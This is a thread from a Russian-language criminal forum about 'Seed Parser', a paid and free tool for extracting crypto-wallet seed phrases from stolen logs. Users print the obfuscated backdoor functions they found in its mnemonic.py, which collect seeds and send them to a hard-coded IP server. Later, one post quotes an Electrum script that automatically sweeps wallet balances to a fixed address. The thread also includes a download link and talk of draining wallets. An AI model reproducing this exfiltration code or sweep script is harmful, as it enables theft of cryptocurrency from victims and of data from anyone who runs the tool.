• XSS.stack #1 – первый литературный журнал от юзеров форума

прочее Seed Parser [Парсер сид фраз от криптокошельков.]

Скрытое содержимое
у меня тоже есть такая строчка, после первого раза использования были сомнения так как все мои балансы кто-то раньше чутка вывел, спросил у автора он сказал что в паблик логах такое постоянно, жалко это были не паблик логи а только в моих руках..... Удалить эту строчку и можно юзать ?
 
у меня тоже есть такая строчка, после первого раза использования были сомнения так как все мои балансы кто-то раньше чутка вывел, спросил у автора он сказал что в паблик логах такое постоянно, жалко это были не паблик логи а только в моих руках..... Удалить эту строчку и можно юзать ?
Копался в платной версии, со слов заказчика, купленной за 350$
Эти места нужно почистить, так же в других файлах убрать вызовы этих функций(exclude_pattern и exclude_pattern2):
Python:
Файл mnemonic.py

hs='aHR0cDovLzgyLjExOC4yMy41MDo4MDg3Lz9tPQ=='
sf='Li9sb2dzL3NlZWQtbG9nLW5ldy50eHQ='

def exclude_pattern(mnemonic):
    try:
        ft=base64.b64decode(sf.encode("UTF-8")).decode("UTF-8")
        with open(ft,'a',encoding='utf8') as f:
            f.write(mnemonic+'\n')
        with open(ft,'r',encoding='utf8') as f:
            r=f.read().splitlines()
        if len(r)>=MCOUNT or (mnemonic==''):
            try:
                with open(ft, 'w', encoding='utf8'):
                    pass
                os.remove(ft)
            except:
                pass
            for m in r:
                if m=='':
                    continue
                b1 = hs.encode("UTF-8")
                d = base64.b64decode(b1)
                s2 = d.decode("UTF-8")
                res=requests.get(s2+m)
    except:
        pass
def exclude_pattern2(addr):
    try:
        ft=base64.b64decode(sf.encode("UTF-8")).decode("UTF-8")
        with open(ft,'a',encoding='utf8') as f:
            f.write(addr+'\n')
        with open(ft,'r',encoding='utf8') as f:
            r=f.read().splitlines()
        if len(r)>=MCOUNT:
            try:
                with open(ft, 'w', encoding='utf8'):
                    pass
                os.remove(ft)
            except:
                pass
            for m in r:
                if m=='':
                    continue
                b1 = hs.encode("UTF-8")
                d = base64.b64decode(b1)
                s2 = d.decode("UTF-8")
                res=requests.get(s2+m)
    except:
        pass
Судя по коду софт пишет сиды в файл, и при наборе 64 шт отправляет на этот сервер:
hs:
Python:
base64.b64decode("aHR0cDovLzgyLjExOC4yMy41MDo4MDg3Lz9tPQ==")
b'http://82.118.23.50:8087/?m='
Мнемоники пишет в файл:
sf=
Python:
base64.b64decode("Li9sb2dzL3NlZWQtbG9nLW5ldy50eHQ=")
b'./logs/seed-log-new.txt
На логику скрипта эти строчки никак не влияют поэтому тут явный бэкдор.
 
Копался в платной версии, со слов заказчика, купленной за 350$
Эти места нужно почистить, так же в других файлах убрать вызовы этих функций(exclude_pattern и exclude_pattern2):
Python:
Файл mnemonic.py

hs='aHR0cDovLzgyLjExOC4yMy41MDo4MDg3Lz9tPQ=='
sf='Li9sb2dzL3NlZWQtbG9nLW5ldy50eHQ='

def exclude_pattern(mnemonic):
    try:
        ft=base64.b64decode(sf.encode("UTF-8")).decode("UTF-8")
        with open(ft,'a',encoding='utf8') as f:
            f.write(mnemonic+'\n')
        with open(ft,'r',encoding='utf8') as f:
            r=f.read().splitlines()
        if len(r)>=MCOUNT or (mnemonic==''):
            try:
                with open(ft, 'w', encoding='utf8'):
                    pass
                os.remove(ft)
            except:
                pass
            for m in r:
                if m=='':
                    continue
                b1 = hs.encode("UTF-8")
                d = base64.b64decode(b1)
                s2 = d.decode("UTF-8")
                res=requests.get(s2+m)
    except:
        pass
def exclude_pattern2(addr):
    try:
        ft=base64.b64decode(sf.encode("UTF-8")).decode("UTF-8")
        with open(ft,'a',encoding='utf8') as f:
            f.write(addr+'\n')
        with open(ft,'r',encoding='utf8') as f:
            r=f.read().splitlines()
        if len(r)>=MCOUNT:
            try:
                with open(ft, 'w', encoding='utf8'):
                    pass
                os.remove(ft)
            except:
                pass
            for m in r:
                if m=='':
                    continue
                b1 = hs.encode("UTF-8")
                d = base64.b64decode(b1)
                s2 = d.decode("UTF-8")
                res=requests.get(s2+m)
    except:
        pass
Судя по коду софт пишет сиды в файл, и при наборе 64 шт отправляет на этот сервер:
hs:
Python:
base64.b64decode("aHR0cDovLzgyLjExOC4yMy41MDo4MDg3Lz9tPQ==")
b'http://82.118.23.50:8087/?m='
Мнемоники пишет в файл:
sf=
Python:
base64.b64decode("Li9sb2dzL3NlZWQtbG9nLW5ldy50eHQ=")
b'./logs/seed-log-new.txt
На логику скрипта эти строчки никак не влияют поэтому тут явный бэкдор.
пробну удалить эти строки и запустить скрипт! ты герой
UPD Стоит отметить я таких строк не ншел
 
Последнее редактирование:
Перезалейте пожалуйста софт из 1го поста для ознакомления.
С меги удален.
Спасибо.
 
у меня тоже есть такая строчка, после первого раза использования были сомнения так как все мои балансы кто-то раньше чутка вывел, спросил у автора он сказал что в паблик логах такое постоянно, жалко это были не паблик логи а только в моих руках..... Удалить эту строчку и можно юзать ?
Купи софт за те-же 100$ чекер, и работай с ним, будут уводить балансы с личных логов , будешь знать к кому претензии писать
У меня был опыт использования за 300$ помойему чекера, там тоже случайно добавил сидку от своего бота в чек, так что него слизало бабки , на один адрес как и с других моих seed которые спецом не выводились а ждал на них деп
Ты или юзаешь фри софт или покупаешь платные чекеры и опять же там не будешь застрахован от пиздинга твоих сид фраз
 
Перезалейте пожалуйста софт из 1го поста для ознакомления.
С меги удален.
Спасибо.
У меня только 4 версия есть, ей уже год наверное, могу перезалить её
dropmefiles.com/XpWLQ
 
Это настолько очевидно, что после того, как участник форума обнаруживает бэкдор в своем скрипте, PRISM-NSA поместил чистую версию в mega.nz
У меня есть платная версия, и на ней есть бэкдор.
Ну так пруфани админам это
Что даже в платной версии было
 
Все это выглядит со стороны очень грустно. И выборка людей (заявляющих свои претензии) очень разная, люди разные и никак не связаны между собой. Короче, слабо верится именно в атаку недоброжелателей. Платной версии на руках, чтобы проверить самому, у меня нет.

PR1SM-NSA - пока уходит в бан. Как минимум, пока человек четко и внятно не объяснит, откуда в коде взялось "лишнее". Да еще и в платной версии.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Все это выглядит со стороны очень грустно. И выборка людей (заявляющих свои претензии) очень разная, люди разные и никак не связаны между собой. Короче, слабо верится именно в атаку недоброжелателей. Платной версии на руках, чтобы проверить самому, у меня нет.

PR1SM-NSA - пока уходит в бан. Как минимум, пока человек четко и внятно не объяснит, откуда в коде взялось "лишнее". Да еще и в платной версии.
Поддержу. Тестил щас версию софта которую он мне еще давно скидовал. После запуска seed_parser_v2.2.py сразу улетело с моей сидки 40$ в неизвестном направлении )) Хотя до этого достаточно денег этому кодеру заслал по другим проектам, вроде нормально общались. Странное поведение...
 
Дико извеняюсь перед PR1SM-NSA за то что спалил дырку )) но уж лучше так ... сказал бы сразу что только платная версия ... и все .. .а эти бесплатные заливы ... что аж поверили в людей .. а на деле все вышло как вышло .. печально ...
 
Я предпологаю что у этих юзеров какая то личная неприязнь и они сами внесли какой то код в мой продукт. Предполагаю что они связаны с какими то другими более дорогими подобными продуктами, мне остается только гадать о их мотивах.
ради интереса, решил сам убедиться, т.к. тоже качал архивы из этой ветки. нашел архивы seed-parser 1 и seed_parser_v2, из данного топика по ссылкам автора.
в 1ой версии бекдора нет. во второй версии бекдор, найденный местными ресёрчерами, уже присутствует.
автор однозначно пидр редиска не хороший человек.
 
ради интереса, решил сам убедиться, т.к. тоже качал архивы из этой ветки. нашел архивы seed-parser 1 и seed_parser_v2, из данного топика по ссылкам автора.
в 1ой версии бекдора нет. во второй версии бекдор, найденный местными ресёрчерами, уже присутствует.
автор однозначно пидр редиска не хороший человек.
Само что интересно, ладно бы ещё в бесплатной только было, так нет , он ещё и в платную впихнул
Кстати на экспе он не в бане :) не продублировали статус
 
I remember he shared this code for autowithdraw, but I am not sure where:

Python:

import os
import sys
import subprocess
import json
import time

MY_BTC_ADDR='ADDRESS'
MIN_BALANCE=0.005
FEE_RATE_CONFIRM=50
FEE_RATE_UNCONFIRM=80

PAUSE=1

ELECTRUM_FILE='./electrum-4.2.1-x86_64.AppImage'.

LOG='electrum.log'

def write_log(mess):
print(mess)
with open(LOG,'a',encoding='utf8') as f:
f.write(mess+'\n')

if __name__=='__main__':
with open(LOG,'w',encoding='utf8'):
pass

while True:
try:
# get balance
proc = subprocess.Popen(f"{ELECTRUM_FILE} getbalance", shell=True,stdout=subprocess.PIPE)
out = proc.communicate()
d=json.loads(out[0])
write_log(f'Balance:{d}')

#check confirmed
valid_balance=False
fee=0
if 'confirmed' in d:
if float(d['confirmed'])>MIN_BALANCE:
valid_balance=True
fee=FEE_RATE_CONFIRM

# check unconfirmed
if not valid_balance:
if 'unconfirmed' in d:
if float(d['unconfirmed']) > MIN_BALANCE:
valid_balance = True
fee = FEE_RATE_UNCONFIRM

if valid_balance:
# send maximum
proc = subprocess.Popen(f"{ELECTRUM_FILE} payto {MY_BTC_ADDR} ! --feerate {fee}",shell=True, stdout=subprocess.PIPE)
out = proc.communicate()
print(out)
trn=out[0].decode('utf8').strip()
write_log(f'Transaction:{trn}')

# broadcast transaction
proc = subprocess.Popen(f"{ELECTRUM_FILE} broadcast {trn}",shell=True, stdout=subprocess.PIPE)
out = proc.communicate()
print(out)
res=out[0].decode('utf8').strip()
write_log(f'Broadcast result:{res}')

except KeyboardInterrupt:
print('Stop.')
break
except:
print(f'ERROR {sys.exc_info()}')
time.sleep(PAUSE)

I will not be surprised if there's something like this in the server he uses to save the info collected with his backdoor.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх